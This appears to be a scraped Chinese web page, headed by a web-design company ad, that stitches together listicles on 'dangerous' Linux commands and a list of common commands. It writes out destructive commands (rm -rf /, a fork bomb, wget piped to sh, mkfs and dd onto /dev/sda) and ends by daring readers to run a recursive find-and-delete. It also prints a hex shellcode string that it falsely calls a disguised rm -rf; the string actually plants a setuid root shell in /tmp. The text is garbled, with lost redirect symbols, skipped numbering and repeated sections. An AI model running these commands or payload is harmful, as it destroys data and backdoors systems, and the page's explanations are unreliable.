Linux中最危險(xiǎn)的10個(gè)命令
站在用戶(hù)的角度思考問(wèn)題,與客戶(hù)深入溝通,找到射陽(yáng)網(wǎng)站設(shè)計(jì)與射陽(yáng)網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個(gè)性化、用戶(hù)體驗(yàn)好的作品,建站類(lèi)型包括:網(wǎng)站設(shè)計(jì)制作、成都網(wǎng)站設(shè)計(jì)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、空間域名、虛擬空間、企業(yè)郵箱。業(yè)務(wù)覆蓋射陽(yáng)地區(qū)。
對(duì)于編程人員或或者Linux系統(tǒng)管理員來(lái)說(shuō),操作Linux系統(tǒng)最常見(jiàn)的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時(shí)候也很危險(xiǎn),尤其是在你誤操作或者不確定你自己在正在做什么的時(shí)候。下面我就為大家盤(pán)點(diǎn)最危險(xiǎn)是10個(gè)命令,一起來(lái)看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無(wú)可救藥;在普 通用戶(hù)身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無(wú)知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項(xiàng)。
rm 命令在Linux下通常用來(lái)刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說(shuō)錯(cuò)了,從常識(shí)看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過(guò)詢(xún)問(wèn)直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫(xiě)權(quán)限。所以,-f這個(gè)參數(shù) 只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒(méi)有刪除提示的,只是一般的發(fā)行版都會(huì)將rm通過(guò)別名的方式增加-i參數(shù)來(lái) 要求刪除確認(rèn),而-f則抑制了這個(gè)提示。)
rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說(shuō)刪除完畢后,什么也沒(méi)有了。。。)
rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時(shí)請(qǐng)留心一點(diǎn)。我們可以在“.bashrc”文件對(duì)‘rm‘命令創(chuàng)建rm -i的別名,來(lái)預(yù)防用 ‘rm‘命令刪除文件時(shí)的事故,它會(huì)要求你確認(rèn)每一個(gè)刪除請(qǐng)求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒(méi)有,請(qǐng)這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個(gè)fork 炸彈的實(shí)例。具體操作是通過(guò)定義一個(gè)名為 ‘:‘的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬(wàn)別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~
3. 命令 /dev/sda
上列命令會(huì)將某個(gè)‘命令‘的輸出寫(xiě)到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫(xiě)入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個(gè)命令會(huì)移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個(gè)特殊的文件,所有寫(xiě)入它的數(shù)據(jù)都會(huì)被清除,然后返回寫(xiě)操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說(shuō)明的是,通過(guò)將文件夾移動(dòng)到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專(zhuān)用的軟件或者手法來(lái)完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會(huì)將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會(huì)從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)(無(wú)條件的)執(zhí)行下載下來(lái)的腳本。
注意: 你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來(lái),然后我去讀一讀其中到底寫(xiě)了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會(huì)格式化塊設(shè)備‘sda’,你無(wú)疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤(pán)驅(qū) 動(dòng)器)會(huì)被格式化,嶄新的!沒(méi)有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會(huì)直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類(lèi)似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無(wú)論你使用sda還是sda1,這樣對(duì)塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會(huì)被蒸發(fā)了。)
7. file
上列命令常用來(lái)清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過(guò)請(qǐng)?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來(lái)的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個(gè)文件。)。如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無(wú)知的輸入類(lèi)似 “xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個(gè)命令在“鮮為人知而又實(shí)用的 Linux 命令大全:”中描述過(guò),用來(lái)編輯先前運(yùn)行的命令而無(wú)需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒(méi)有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來(lái)的無(wú)用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會(huì)向塊設(shè)備sda寫(xiě)入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說(shuō)過(guò)mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見(jiàn),你可以覆寫(xiě)多次。)
10. 隱藏命令
下面的命令其實(shí)就是上面第一個(gè)命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無(wú)知的用戶(hù)可能就會(huì)被愚弄。在終端里運(yùn)行下面命令可能會(huì)擦除你的根分區(qū)。
這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會(huì)被輕易的檢測(cè)到。你必須時(shí)刻留心你在做什么結(jié)果會(huì)怎樣。不要編譯/運(yùn)行從未知來(lái)源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個(gè)命令,因?yàn)檫@將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測(cè)試它們,請(qǐng)?jiān)谔摂M機(jī)上運(yùn)行。
;
Linux系統(tǒng)中的命令實(shí)在是太多了,簡(jiǎn)單包括兩類(lèi)命令,一類(lèi)是內(nèi)部命令,指的是Shell自身提供的功能,一類(lèi)是外部命令,指的是第三方的控制臺(tái)應(yīng)用程序。
一般來(lái)說(shuō),沒(méi)必要完全學(xué)習(xí)所有的命令,大體上有個(gè)印象,用到的時(shí)候去查一下幫助文檔,久而久之,自然熟練。
下面是網(wǎng)友整理的20個(gè)最常用的Linux命令:
1. ls命令
ls命令是列出目錄內(nèi)容(List Directory Contents)的意思。運(yùn)行它就是列出文件夾里的內(nèi)容,可能是文件也可能是文件夾。
2. lsblk命令
"lsblk"就是列出塊設(shè)備。除了RAM外,以標(biāo)準(zhǔn)的樹(shù)狀輸出格式,整齊地顯示塊設(shè)備。
3. md5sum命令
“md5sum”就是計(jì)算和檢驗(yàn)MD5信息簽名。md5 checksum(通常叫做哈希)使用匹配或者驗(yàn)證文件的文件的完整性,因?yàn)槲募赡芤驗(yàn)閭鬏斿e(cuò)誤,磁盤(pán)錯(cuò)誤或者無(wú)惡意的干擾等原因而發(fā)生改變。
4. dd命令
“dd”命令代表了轉(zhuǎn)換和復(fù)制文件。可以用來(lái)轉(zhuǎn)換和復(fù)制文件,大多數(shù)時(shí)間是用來(lái)復(fù)制iso文件(或任何其它文件)到一個(gè)usb設(shè)備(或任何其它地方)中去,所以可以用來(lái)制作USB啟動(dòng)器。
6. history命令
“history”命令就是歷史記錄。它顯示了在終端中所執(zhí)行過(guò)的所有命令的歷史。
7. sudo命令
“sudo”(super user do)命令允許授權(quán)用戶(hù)執(zhí)行超級(jí)用戶(hù)或者其它用戶(hù)的命令。通過(guò)在sudoers列表的安全策略來(lái)指定。
8. mkdir命令
“mkdir”(Make directory)命令在命名路徑下創(chuàng)建新的目錄。然而如果目錄已經(jīng)存在了,那么它就會(huì)返回一個(gè)錯(cuò)誤信息"不能創(chuàng)建文件夾,文件夾已經(jīng)存在了"("cannot create folder, folder already exists")
9. touch 命令
“touch”命令代表了將文件的訪問(wèn)和修改時(shí)間更新為當(dāng)前時(shí)間。touch命令只會(huì)在文件不存在的時(shí)候才會(huì)創(chuàng)建它。如果文件已經(jīng)存在了,它會(huì)更新時(shí)間戳,但是并不會(huì)改變文件的內(nèi)容。
10. chmod 命令
“chmod”命令就是改變文件的模式位。chmod會(huì)根據(jù)要求的模式來(lái)改變每個(gè)所給的文件,文件夾,腳本等等的文件模式(權(quán)限)。
11. chown命令
“chown”命令就是改變文件擁有者和所在用戶(hù)組。每個(gè)文件都屬于一個(gè)用戶(hù)組和一個(gè)用戶(hù)。在你的目錄下,使用"ls -l",你就會(huì)看到像這樣的東西。
12. apt命令
Debian系列以“apt”命令為基礎(chǔ),“apt”代表了Advanced Package Tool。APT是一個(gè)為Debian系列系統(tǒng)(Ubuntu,Kubuntu等等)開(kāi)發(fā)的高級(jí)包管理器,在Gnu/Linux系統(tǒng)上,它會(huì)為包自動(dòng)地,智能地搜索,安裝,升級(jí)以及解決依賴(lài)。
13. tar命令
“tar”命令是磁帶歸檔(Tape Archive),對(duì)創(chuàng)建一些文件的的歸檔和它們的解壓很有用。
14. cal 命令
“cal”(Calender),它用來(lái)顯示當(dāng)前月份或者未來(lái)或者過(guò)去任何年份中的月份。
16. cat命令
“cat”代表了連結(jié)(Concatenation),連接兩個(gè)或者更多文本文件或者以標(biāo)準(zhǔn)輸出形式打印文件的內(nèi)容。
17. cp 命令
“copy”就是復(fù)制。它會(huì)從一個(gè)地方復(fù)制一個(gè)文件到另外一個(gè)地方。
18. mv 命令
“mv”命令將一個(gè)地方的文件移動(dòng)到另外一個(gè)地方去。
19. pwd 命令
“pwd”(print working directory),在終端中顯示當(dāng)前工作目錄的全路徑。
20. cd 命令
最后,經(jīng)常使用的“cd”命令代表了改變目錄。它在終端中改變工作目錄來(lái)執(zhí)行,復(fù)制,移動(dòng),讀,寫(xiě)等等操作。
這9個(gè)“非常危險(xiǎn)”的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內(nèi)容最快的一種方式,僅僅一丁點(diǎn)的敲錯(cuò)或者無(wú)知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。
rm命令在Linux下通常用來(lái)刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經(jīng)過(guò)詢(xún)問(wèn)直接刪除只讀文件
rm-rf/:強(qiáng)制刪除根目錄下所有東西
rm-rf/*:強(qiáng)制刪除當(dāng)前目錄的所有文件
rm-rf.:強(qiáng)制刪除當(dāng)前文件夾及其子文件
溫馨提示:當(dāng)你要執(zhí)行rm -rf命令時(shí),一定要留心,可以在“.bashrc”文件對(duì)“rm”命令創(chuàng)建rm
-i的別名,來(lái)預(yù)防用‘rm’命令刪除文件時(shí)的事故。
2、:(){:|:};:命令
這就是一個(gè)fork炸彈的實(shí)例。具體操作是通過(guò)定義一個(gè)名為':'的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
3、命令 /dev/sda
上列命令會(huì)將某個(gè)'命令'的輸出寫(xiě)到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫(xiě)入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4、mv文件夾/dev/null
這個(gè)命令會(huì)移動(dòng)某個(gè)'文件夾'到/dev/null。在Linux中/dev/null或null設(shè)備是一個(gè)特殊的文件,所有寫(xiě)入它的數(shù)據(jù)都會(huì)被清除,然后返回寫(xiě)操作成功。
5、wget -O- | sh
上面這個(gè)命令會(huì)從一個(gè)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)執(zhí)行下載下來(lái)的腳本。
溫馨提示:你應(yīng)該時(shí)刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會(huì)格式化設(shè)備'sda',你無(wú)疑知道在執(zhí)行上列命令后你的塊設(shè)備會(huì)被格式化,嶄新的。沒(méi)有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。
7、 file
上面命令常用來(lái)清空文件內(nèi)容,如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無(wú)知的輸入類(lèi)似“ xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8、^foo^bar
這個(gè)命令用來(lái)編輯先前運(yùn)行的命令而無(wú)需要打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒(méi)有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個(gè)命令會(huì)向塊設(shè)備sda寫(xiě)入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然,你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。
find / -name "*network*" -ok rm {} \; 這一類(lèi)的屬于高危命令,不信回車(chē)試試!